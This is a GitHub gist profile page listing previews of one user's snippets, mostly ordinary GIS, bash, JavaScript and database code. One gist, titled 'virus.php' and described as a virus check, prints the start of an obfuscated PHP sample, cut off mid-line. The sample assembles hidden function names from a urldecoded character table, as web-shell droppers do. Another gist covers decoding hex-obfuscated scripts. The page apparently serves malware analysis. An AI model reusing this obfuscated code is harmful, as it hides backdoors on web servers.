Skip to content

Instantly share code, notes, and snippets.

View soiqualang's full-sized avatar
🙃
hihihaha

Đỗ Thành Long soiqualang

🙃
hihihaha
View GitHub Profile
@soiqualang
soiqualang / compress_files.sh
Created November 26, 2024 08:23
Linux Bash Compress file from date to date
#!/bin/bash
# Thư mục cần tìm kiếm
SEARCH_DIR="/đường/dẫn/đến/thư/mục"
# Ngày bắt đầu tìm kiếm (19/11/2024)
START_DATE="2024-11-19"
# Tên file nén output (ví dụ: files_from_19_11_2024_to_now.tar.gz)
OUTPUT_FILE="files_from_${START_DATE}_to_now.tar.gz"
@soiqualang
soiqualang / calc_lst_multi_years.js
Created August 7, 2024 08:49
GEE - calc_lst_multi_years
function calc_lst(nam){
// Import city boundaries feature collection.
//var SaiGon = ee.FeatureCollection("projects/ee-nhthanh-gee/assets/Saigon");
print(ThuDuc);
Map.centerObject(ThuDuc,10);
Map.addLayer(ThuDuc);
// Terra Land Surface Temparature and Emissivity 8-Day Global 1 km
var terra = ee.ImageCollection("MODIS/061/MOD11A2"); //LST img collection
//var start = ee.Date('2011-01-01'); //date range
@soiqualang
soiqualang / draw_freestyle.html
Created June 21, 2024 06:34
Leaflet draw freestyle
<!DOCTYPE html>
<html>
<head>
<title>Leaflet Draw Polygon Example</title>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<!-- Leaflet CSS -->
<link rel="stylesheet" href="https://unpkg.com/leaflet/dist/leaflet.css" />
<!-- Leaflet Draw CSS -->
@soiqualang
soiqualang / Decode Hexa encoded script.MD
Last active May 23, 2024 07:19
Decode Hexa encoded script

Decode Hexa encoded script

| Decode code bị mã hóa dạng hexa, có chèn các ký tự ASCII thông thường ngẫu nhiên | Ý tưởng là sẽ tạo 1 cái từ điển mỗi mã ASCII tương ứng với 1 mã Hexa | Sau đó dò, replace

<?php
// Tạo từ điển mã hexa tương ứng với từng ký tự ASCII
$hex_dict = [];
@soiqualang
soiqualang / CHEATSHEET.md
Created May 20, 2024 14:29 — forked from oschannel/CHEATSHEET.md
Running PostgreSQL server on Android Phone without rooting

This cheatsheet is for the following video that shows how to Install and Run the PostgreSQL Database server on your Andriod Phone. Watch this video for a complete Demo/Solution: https://youtu.be/7edutr-ALdc

Install Termux:

Once termux is installed open it and use the shell for below commands

  • Install PostgreSQL:

@soiqualang
soiqualang / secret-key.py
Created May 14, 2024 07:34 — forked from shaunmolloy/secret-key.py
secret-key - Generate an app secret key
#!/usr/bin/env python
# secret-key
# Generate an app secret key
from base64 import b64encode
from os import urandom
random_bytes = urandom(64)
token = b64encode(random_bytes).decode()
@soiqualang
soiqualang / virus.php
Created May 3, 2024 05:48
Virus check
<?php
$O00OO_0_O_=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O000OOO___=$O00OO_0_O_{38}.$O00OO_0_O_{12}.$O00OO_0_O_{23}.$O00OO_0_O_{30}.$O00OO_0_O_{29}.$O00OO_0_O_{16}.$O00OO_0_O_{18}.$O00OO_0_O_{10}.$O00OO_0_O_{29}.$O00OO_0_O_{32}.$O00OO_0_O_{35}.$O00OO_0_O_{0}.$O00OO_0_O_{10}.$O00OO_0_O_{30}.$O00OO_0_O_{0}.$O00OO_0_O_{10}.$O00OO_0_O_{33};$O_0O_0O0O_=$O00OO_0_O_{38}.$O00OO_0_O_{12}.$O00OO_0_O_{23}.$O00OO_0_O_{30}.$O00OO_0_O_{29}.$O00OO_0_O_{27}.$O00OO_0_O_{30}.$O00OO_0_O_{10}.$O00OO_0_O_{29}.$O00OO_0_O_{32}.$O00OO_0_O_{35}.$O00OO_0_O_{0}.$O00OO_0_O_{10}.$O00OO_0_O_{30}.$O00OO_0_O_{0}.$O00OO_0_O_{10}.$O00OO_0_O_{33};$O0_O0_O0O_=$O00OO_0_O_{32}.$O00OO_0_O_{24}.$O00OO_0_O_{30}.$O00OO_0_O_{6}.$O00OO_0_O_{10}.$O00OO_0_O_{30}.$O00OO_0_O_{29}.$O00OO_0_O_{38}.$O00OO_0_O_{18}.$O00OO_0_O_{0}.$O00OO_0_O_{32}.$O00OO_0_O_{10}.$O00OO_0_O_{12}.$O00OO_0_O_{35}.$O00OO_0_O_{0};$OOO0_O0_0_=$O00OO_0_O_{3}.$O00OO_0_O_{6}.$O00OO_0_O_{33}.$O00OO_0_O_{30
-- Tim kiem cac cua hang TGDĐ cach 1000m
SELECT * FROM hcm_tgdd WHERE ST_DWithin(
    ST_Transform(geom, 32648),
    ST_Transform(ST_SetSRID(ST_Point(106.69093,10.77082), 4326), 32648),
    1000
);

-- Tao diem tu toa do
SELECT ST_SetSRID(ST_Point(106.69093, 10.77082), 4326);
@soiqualang
soiqualang / ghep_mang.js
Created April 12, 2024 08:43
So sanh va ghep mang
var doman_v1 = [
['recid', 'Year', 'Income', 'Type', 'Time'],
[42, '2011-05-01', '', 'doman', 1304182800000],
[41, '2012-01-01', '26', 'doman', 1325350800000],
[40, '2012-02-01', '234', 'doman', 1328029200000],
[39, '2012-03-01', '12', 'doman', 1330534800000],
[36, '2013-01-01', '', 'doman', 1356973200000],
[35, '2013-02-01', '267', 'doman', 1359651600000],
];
@soiqualang
soiqualang / blur_unblur_fb_mess.js
Last active March 26, 2024 09:19
blur_unblur_fb_mess
// Cái hàm để add sự kiện
function toggle_blur(messDiv){
// Add event listeners to handle hover effect
messDiv.addEventListener("mouseover", function() {
this.style.filter = "none"; // Remove blur on hover
});
messDiv.addEventListener("mouseout", function() {
this.style.filter = "blur(5px)"; // Add blur when not hovering
});